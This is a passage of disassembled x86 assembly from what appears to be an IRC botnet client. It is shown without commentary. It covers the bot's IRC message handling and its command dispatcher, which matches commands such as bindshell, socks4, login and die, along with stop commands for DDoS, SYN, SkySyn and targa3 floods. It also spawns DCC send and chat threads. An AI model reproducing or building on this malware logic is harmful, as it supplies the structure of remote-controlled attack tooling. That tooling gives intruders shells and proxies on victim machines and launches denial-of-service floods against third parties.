		push	[ebp+arg_1C]	; Source
		push	edi		; Dest
		call	_strcat
		add	esp, 10h
		mov	edi, 80h

loc_402101:				; CODE XREF: sub_401CC7+3FEj
					; sub_401CC7+415j
		add	esi, edi
		dec	[ebp+Src]
		jnz	short loc_4020B4
		lea	eax, [ebp+var_C0]
		test	eax, eax
		jz	short loc_402166
		cmp	[ebp+File], ebx
		jz	short loc_402166
		push	[ebp+Source]	; Str2
		lea	eax, [ebp+var_C0]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40213E
		push	0Fh		; Count
		push	[ebp+File]	; Source
		push	[ebp+Source]	; Dest
		call	_strncpy
		jmp	loc_4038B6
; ---------------------------------------------------------------------------

loc_40213E:				; CODE XREF: sub_401CC7+463j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402143:				; CODE XREF: sub_401CC7+49Dj
		cmp	[edi], bl
		jz	short loc_40215A
		lea	eax, [ebp+var_E00]
		push	eax		; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40216E

loc_40215A:				; CODE XREF: sub_401CC7+47Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402143

loc_402166:				; CODE XREF: sub_401CC7+5Bj
					; sub_401CC7+E8j ...
		push	1

loc_402168:				; CODE XREF: sub_401CC7+2A56j
		pop	eax

loc_402169:				; CODE XREF: sub_401CC7+296j
					; sub_401CC7+2A78j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40216E:				; CODE XREF: sub_401CC7+491j
		lea	eax, [ebp+var_E00]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Src], eax
		jz	short loc_402166
		push	eax		; Str
		call	_strlen
		push	[ebp+File]	; Str
		mov	edi, eax
		call	_strlen
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_402166
		push	[ebp+Src]
		shl	esi, 7
		push	[ebp+File]
		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_45EC]
		push	ebx		; int
		push	eax		; int
		push	[ebp+arg_8]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 24h
		jmp	short loc_402166
; ---------------------------------------------------------------------------

loc_4021CE:				; CODE XREF: sub_401CC7+3D3j
		push	esi		; Str2
		push	offset aPart	; "PART"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4021F0
		push	esi		; Str2
		push	offset aQuit	; "QUIT"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40221D

loc_4021F0:				; CODE XREF: sub_401CC7+516j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4021F5:				; CODE XREF: sub_401CC7+54Ej
		cmp	[edi], bl
		jz	short loc_40220B
		push	[ebp+var_90]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402259

loc_40220B:				; CODE XREF: sub_401CC7+530j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4021F5
		mov	esi, dword ptr [ebp+Args]

loc_40221D:				; CODE XREF: sub_401CC7+527j
		push	esi		; Str2
		push	offset a353	; "353"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4022BA
		push	[ebp+var_80]	; Str2
		push	[ebp+arg_8]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40224C
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40224C:				; CODE XREF: sub_401CC7+57Aj
		push	[ebp+var_80]
		push	offset unk_440CB4
		jmp	loc_409CCE
; ---------------------------------------------------------------------------

loc_402259:				; CODE XREF: sub_401CC7+542j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_440C74 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		push	dword ptr [ebp+Args] ; Str2
		push	offset aPart_0	; "PART"
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	loc_402166
		lea	eax, [ebp+Dst]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s\r\n"
		jmp	loc_40207E
; ---------------------------------------------------------------------------

loc_4022BA:				; CODE XREF: sub_401CC7+565j
		push	esi		; Str2
		push	offset aPrivmsg	; "PRIVMSG"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FD
		push	esi		; Str2
		push	offset aNotice	; "NOTICE"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FD
		push	esi		; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409B47
		cmp	dword_440088, ebx
		jz	loc_409B47

loc_4022FD:				; CODE XREF: sub_401CC7+602j
					; sub_401CC7+613j
		push	esi		; Str2
		push	offset aPrivmsg_0 ; "PRIVMSG"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40248D
		push	esi		; Str2
		push	offset aNotice_0 ; "NOTICE"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40248D
		mov	eax, [ebp+Str2]
		inc	[ebp+var_80]
		mov	[ebp+var_A4], 4
		mov	[ebp+Format], eax

loc_402340:				; CODE XREF: sub_401CC7+882j
					; sub_401CC7+8B8j ...
		mov	eax, [ebp+var_A4]
		mov	esi, eax
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax		; Str2
		push	offset dword_440D4C ; Str1
		mov	[ebp+arg_8], eax
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40271D
		push	dword ptr [ebp+esi+Args] ; Str2
		push	offset aSend	; "SEND"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4025E4
		cmp	[ebp+var_A8], ebx
		jz	loc_4025BD
		push	[ebp+esi+Format]
		lea	eax, [ebp+var_1B80]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+Str2]
		push	offset aS_0	; "%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+esi+var_80] ; Str
		call	_atoi
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh		; Count
		push	eax		; Source
		lea	eax, [ebp+var_1A7C]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_440D64 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ah		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset sub_416D5D
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	loc_4025AC

loc_402477:				; CODE XREF: sub_401CC7+7C4j
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_408708
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_402477
; ---------------------------------------------------------------------------

loc_40248D:				; CODE XREF: sub_401CC7+645j
					; sub_401CC7+65Aj
		push	esi		; Str2
		push	offset aNotice_1 ; "NOTICE"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4024A5
		mov	[ebp+var_4], 1

loc_4024A5:				; CODE XREF: sub_401CC7+7D5j
		mov	edi, [ebp+Format]
		cmp	edi, ebx
		jz	loc_402166
		push	offset asc_440D00 ; "#"
		push	edi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4024C9
		cmp	[ebp+var_4], ebx
		jz	short loc_4024D5

loc_4024C9:				; CODE XREF: sub_401CC7+7FBj
		lea	edi, [ebp+var_C0]
		mov	[ebp+Format], edi

loc_4024D5:				; CODE XREF: sub_401CC7+800j
		cmp	[ebp+Str2], ebx
		jz	loc_402166
		inc	[ebp+Str2]
		jz	short loc_40251F
		cmp	[ebp+Source], ebx
		jz	short loc_40251F
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		push	eax		; MaxCount
		lea	eax, [ebp+Str1]
		push	[ebp+Str2]	; Str2
		push	eax		; Str1
		call	_strncmp
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A4], eax
		jmp	short loc_402525
; ---------------------------------------------------------------------------

loc_40251F:				; CODE XREF: sub_401CC7+820j
					; sub_401CC7+825j
		mov	eax, [ebp+var_A4]

loc_402525:				; CODE XREF: sub_401CC7+856j
		shl	eax, 2
		mov	[ebp+arg_8], eax
		mov	esi, [ebp+eax+var_90]
		cmp	esi, ebx
		jz	loc_402166
		push	esi		; Str2
		push	offset dword_440D04 ; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402340
		cmp	byte ptr [edi],	23h
		jz	short loc_402570
		mov	eax, dword_4E40B4
		mov	eax, off_440134[eax*4]
		cmp	[eax], bl
		jz	short loc_402570
		push	eax
		push	edi
		push	offset dword_440D10
		jmp	loc_40207E
; ---------------------------------------------------------------------------

loc_402570:				; CODE XREF: sub_401CC7+88Bj
					; sub_401CC7+89Bj
		push	esi		; Str2
		push	offset dword_440D2C ; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402340
		mov	eax, [ebp+arg_8]
		mov	eax, dword ptr [ebp+eax+Args]
		cmp	eax, ebx
		jz	loc_402340
		cmp	byte ptr [edi],	23h
		jz	loc_402340
		push	eax
		push	edi
		push	offset dword_440D34
		jmp	loc_40207E
; ---------------------------------------------------------------------------

loc_4025AC:				; CODE XREF: sub_401CC7+7AAj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_440D94
		jmp	loc_4086F9
; ---------------------------------------------------------------------------

loc_4025BD:				; CODE XREF: sub_401CC7+6CBj
		lea	eax, [ebp+var_C0]
		push	eax
		push	[ebp+esi+Format]
		push	offset asc_440DD0 ; "-"

loc_4025D0:				; CODE XREF: sub_401CC7+7F22j
					; sub_401CC7+7F89j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	loc_408708
; ---------------------------------------------------------------------------

loc_4025E4:				; CODE XREF: sub_401CC7+6BFj
		push	dword ptr [ebp+esi+Args] ; Str2
		push	offset aChat	; "CHAT"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402733
		cmp	[ebp+var_A8], ebx
		jz	loc_40270C
		push	1Bh
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jnz	loc_4026FB
		push	[ebp+esi+Str2]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+esi+var_80] ; Str
		call	_atoi
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh		; Count
		push	eax		; Source
		lea	eax, [ebp+var_2990]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_440E20 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Bh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset sub_4167F7
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_4026EA

loc_4026D4:				; CODE XREF: sub_401CC7+A21j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_408708
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_4026D4
; ---------------------------------------------------------------------------

loc_4026EA:				; CODE XREF: sub_401CC7+A0Bj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_440E40
		jmp	loc_4086F9
; ---------------------------------------------------------------------------

loc_4026FB:				; CODE XREF: sub_401CC7+94Ej
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_440E78
		jmp	loc_4086F9
; ---------------------------------------------------------------------------

loc_40270C:				; CODE XREF: sub_401CC7+93Ej
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_440EA8
		jmp	loc_4086F9
; ---------------------------------------------------------------------------

loc_40271D:				; CODE XREF: sub_401CC7+6A4j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_440090
		mov	[edi], ecx
		jnz	loc_402166

loc_402733:				; CODE XREF: sub_401CC7+932j
		mov	edi, [edi]
		push	edi		; Str2
		push	offset aLogin	; "login"
		mov	[ebp+arg_8], edi
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409B4F
		push	edi		; Str2
		push	offset asc_440EE4 ; "l"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409B4F
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402784
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332_3	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409B47

loc_402784:				; CODE XREF: sub_401CC7+AA1j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409B47
		xor	edi, edi
		cmp	dword_440498, ebx
		jle	loc_402939
		mov	[ebp+arg_20], offset dword_4563A8

loc_4027A2:				; CODE XREF: sub_401CC7+AFAj
		push	[ebp+arg_8]	; Str2
		push	[ebp+arg_20]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4027C8
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_440498
		jl	short loc_4027A2
		jmp	loc_402939
; ---------------------------------------------------------------------------

loc_4027C8:				; CODE XREF: sub_401CC7+AEAj
		push	offset asc_441034 ; " :"
		push	[ebp+Src]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_402166
		mov	cl, byte_440090
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_440090
		mov	[eax+3], cl
		lea	ecx, dword_4563C0[edi]
		push	9Fh		; Count
		add	eax, 4
		push	ecx		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax

loc_40281D:				; CODE XREF: sub_401CC7+C07j
		push	[ebp+arg_8]
		lea	eax, [ebp+SubStr]
		push	offset aD	; "$%d-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_402889
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jz	short loc_402889
		lea	eax, dword_4563A8[edi]
		push	eax		; Str
		call	_strlen
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4028C4
		mov	eax, [ebp+arg_20]
		push	dword ptr [eax-4] ; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4028C4
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_418C3F
		add	esp, 0Ch
		jmp	short loc_4028C4
; ---------------------------------------------------------------------------

loc_402889:				; CODE XREF: sub_401CC7+B7Ej
					; sub_401CC7+B85j
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jnz	short loc_4028C4
		lea	eax, [ebp+SubStr]
		push	2		; Count
		push	eax		; Source
		lea	eax, [ebp+var_94]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_418C3F
		add	esp, 18h

loc_4028C4:				; CODE XREF: sub_401CC7+B97j
					; sub_401CC7+BABj ...
		dec	[ebp+arg_8]
		sub	[ebp+arg_20], 4
		cmp	[ebp+arg_8], ebx
		jg	loc_40281D
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_8], 10h
		mov	edi, eax

loc_4028E1:				; CODE XREF: sub_401CC7+C66j
		push	[ebp+arg_8]
		lea	eax, [ebp+SubStr]
		push	offset aD_0	; "$%d"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_402924
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402924
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_418C3F
		add	esp, 0Ch

loc_402924:				; CODE XREF: sub_401CC7+C42j
					; sub_401CC7+C48j
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_4028E1
		mov	[ebp+var_2C4], 1

loc_402939:				; CODE XREF: sub_401CC7+ACEj
					; sub_401CC7+AFCj
		mov	eax, [ebp+esi+var_90]
		mov	al, [eax]
		cmp	al, byte_440090
		jz	short loc_402956
		cmp	[ebp+var_2C4], ebx
		jz	loc_402B4B

loc_402956:				; CODE XREF: sub_401CC7+C81j
		push	[ebp+Source]	; Source
		mov	edi, [ebp+Src]
		push	offset aMe	; "$me"
		push	edi		; Src
		call	sub_418C3F
		lea	eax, [ebp+var_C0]
		push	eax		; Source
		push	offset aUser	; "$user"
		push	edi		; Src
		call	sub_418C3F
		push	[ebp+Format]	; Source
		push	offset aChan	; "$chan"
		push	edi		; Src
		call	sub_418C3F
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_40B487
		push	eax		; Source
		push	offset aRndnick	; "$rndnick"
		push	edi		; Src
		call	sub_418C3F
		add	esp, 40h
		push	[ebp+arg_14]	; Source
		push	offset aServer	; "$server"
		push	edi		; Src
		call	sub_418C3F
		mov	edi, offset aChr ; "$chr("
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h

loc_4029C8:				; CODE XREF: sub_401CC7+DFDj
		test	eax, eax
		jz	loc_402AC9
		push	offset aChr_0	; "$chr("
		push	[ebp+Src]	; Str
		call	_strstr
		mov	[ebp+Source], eax
		add	eax, 5
		push	4		; Count
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+SubStr]
		push	offset asc_44107C ; ")"
		push	eax		; Str
		call	_strtok
		add	esp, 1Ch
		cmp	[ebp+SubStr], 30h
		jl	short loc_402A18
		cmp	[ebp+SubStr], 39h
		jle	short loc_402A2E

loc_402A18:				; CODE XREF: sub_401CC7+D46j
		push	3		; Count
		lea	eax, [ebp+SubStr]
		push	offset a63	; "63"
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_402A2E:				; CODE XREF: sub_401CC7+D4Fj
		lea	eax, [ebp+SubStr]
		push	eax		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	short loc_402A54
		lea	eax, [ebp+SubStr]
		push	eax		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402A68
; ---------------------------------------------------------------------------

loc_402A54:				; CODE XREF: sub_401CC7+D76j
		call	_rand
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402A68:				; CODE XREF: sub_401CC7+D8Bj
		lea	eax, [ebp+SubStr]
		mov	[ebp+var_93], bl
		push	eax		; Str
		call	_strlen
		mov	[ebp+arg_8], eax
		push	0Ch		; Size
		lea	eax, [ebp+SubStr]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax		; Count
		lea	eax, [ebp+SubStr]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_94]
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_418C3F
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 30h
		jmp	loc_4029C8
; ---------------------------------------------------------------------------

loc_402AC9:				; CODE XREF: sub_401CC7+D03j
		mov	edi, 1FFh
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+var_4AF0]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_4AF0]
		push	offset asc_441084 ; " "
		push	eax		; Str
		call	_strtok
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+Args]
		mov	[ebp+Source], 1Fh

loc_402B19:				; CODE XREF: sub_401CC7+E67j
		push	offset asc_441088 ; " "
		push	ebx		; Str
		call	_strtok
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+Source]
		pop	ecx
		jnz	short loc_402B19
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_402166
		add	ecx, 3
		mov	[eax], ecx

loc_402B4B:				; CODE XREF: sub_401CC7+C89j
		mov	edi, [ebp+esi+var_90]
		push	edi		; Str2
		push	offset aRndnick_0 ; "rndnick"
		mov	[ebp+arg_8], edi
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409AF5
		push	edi		; Str2
		push	offset aRn	; "rn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409AF5
		push	edi		; Str2
		push	offset aDie	; "die"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404BFF
		push	edi		; Str2
		push	offset aD_1	; "d"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404BFF
		push	edi		; Str2
		push	offset aLogout	; "logout"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B57
		push	edi		; Str2
		push	offset aLo	; "lo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B57
		push	edi		; Str2
		push	offset aVersion	; "version"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B48
		push	edi		; Str2
		push	offset aVer	; "ver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B48
		push	edi		; Str2
		push	offset aDedication ; "dedication"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B3E
		push	edi		; Str2
		push	offset aDed	; "ded"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B3E
		push	edi		; Str2
		push	offset aSpeedtest ; "speedtest"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B25
		push	edi		; Str2
		push	offset aSt	; "st"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B25
		push	edi		; Str2
		push	offset aSecure	; "secure"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A27
		push	edi		; Str2
		push	offset aSec	; "sec"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A27
		push	edi		; Str2
		push	offset aUnsecure ; "unsecure"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A27
		push	edi		; Str2
		push	offset aUnsec	; "unsec"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A27
		push	edi		; Str2
		push	offset aBindshell ; "bindshell"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404921
		push	edi		; Str2
		push	offset aBd	; "bd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404921
		push	edi		; Str2
		push	offset aBindshellstop ;	"bindshellstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CF8
		push	dword ptr [ebp+esi+Args]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_441394
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402CF8:				; CODE XREF: sub_401CC7+1017j
		push	edi		; Str2
		push	offset aSocks4	; "socks4"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047FF
		push	edi		; Str2
		push	offset aS4	; "s4"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047FF
		push	edi		; Str2
		push	offset aSocks4stop ; "socks4stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D4B
		push	dword ptr [ebp+esi+Args]
		push	19h
		push	offset aServer_1 ; "Server"
		push	offset dword_44142C
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402D4B:				; CODE XREF: sub_401CC7+106Aj
		push	edi		; Str2
		push	offset aRloginstop ; "rloginstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D74
		push	dword ptr [ebp+esi+Args]
		push	9
		push	offset aServer_2 ; "Server"
		push	offset dword_441450
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402D74:				; CODE XREF: sub_401CC7+1093j
		push	edi		; Str2
		push	offset aHttpstop ; "httpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D9D
		push	dword ptr [ebp+esi+Args]
		push	3
		push	offset aServer_3 ; "Server"
		push	offset dword_441474
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402D9D:				; CODE XREF: sub_401CC7+10BCj
		push	edi		; Str2
		push	offset aLogstop	; "logstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DC6
		push	dword ptr [ebp+esi+Args]
		push	25h
		push	offset aLogList	; "Log list"
		push	offset dword_441498
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402DC6:				; CODE XREF: sub_401CC7+10E5j
		push	edi		; Str2
		push	offset aRedirectstop ; "redirectstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DEF
		push	dword ptr [ebp+esi+Args]
		push	18h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset dword_4414C4
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402DEF:				; CODE XREF: sub_401CC7+110Ej
		push	edi		; Str2
		push	offset aDdos_stop ; "ddos.stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E18
		push	dword ptr [ebp+esi+Args]
		push	0Dh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset dword_4414EC
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402E18:				; CODE XREF: sub_401CC7+1137j
		push	edi		; Str2
		push	offset aSynstop	; "synstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E41
		push	dword ptr [ebp+esi+Args]
		push	0Eh
		push	offset aSynFlood ; "Syn	flood"
		push	offset dword_44150C
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402E41:				; CODE XREF: sub_401CC7+1160j
		push	edi		; Str2
		push	offset aSkysynstop ; "skysynstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E6A
		push	dword ptr [ebp+esi+Args]
		push	10h
		push	offset aSkysynFlood ; "SkySyn flood"
		push	offset dword_441534
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402E6A:				; CODE XREF: sub_401CC7+1189j
		push	edi		; Str2
		push	offset aTarga3stop ; "targa3stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E93
		push	dword ptr [ebp+esi+Args]
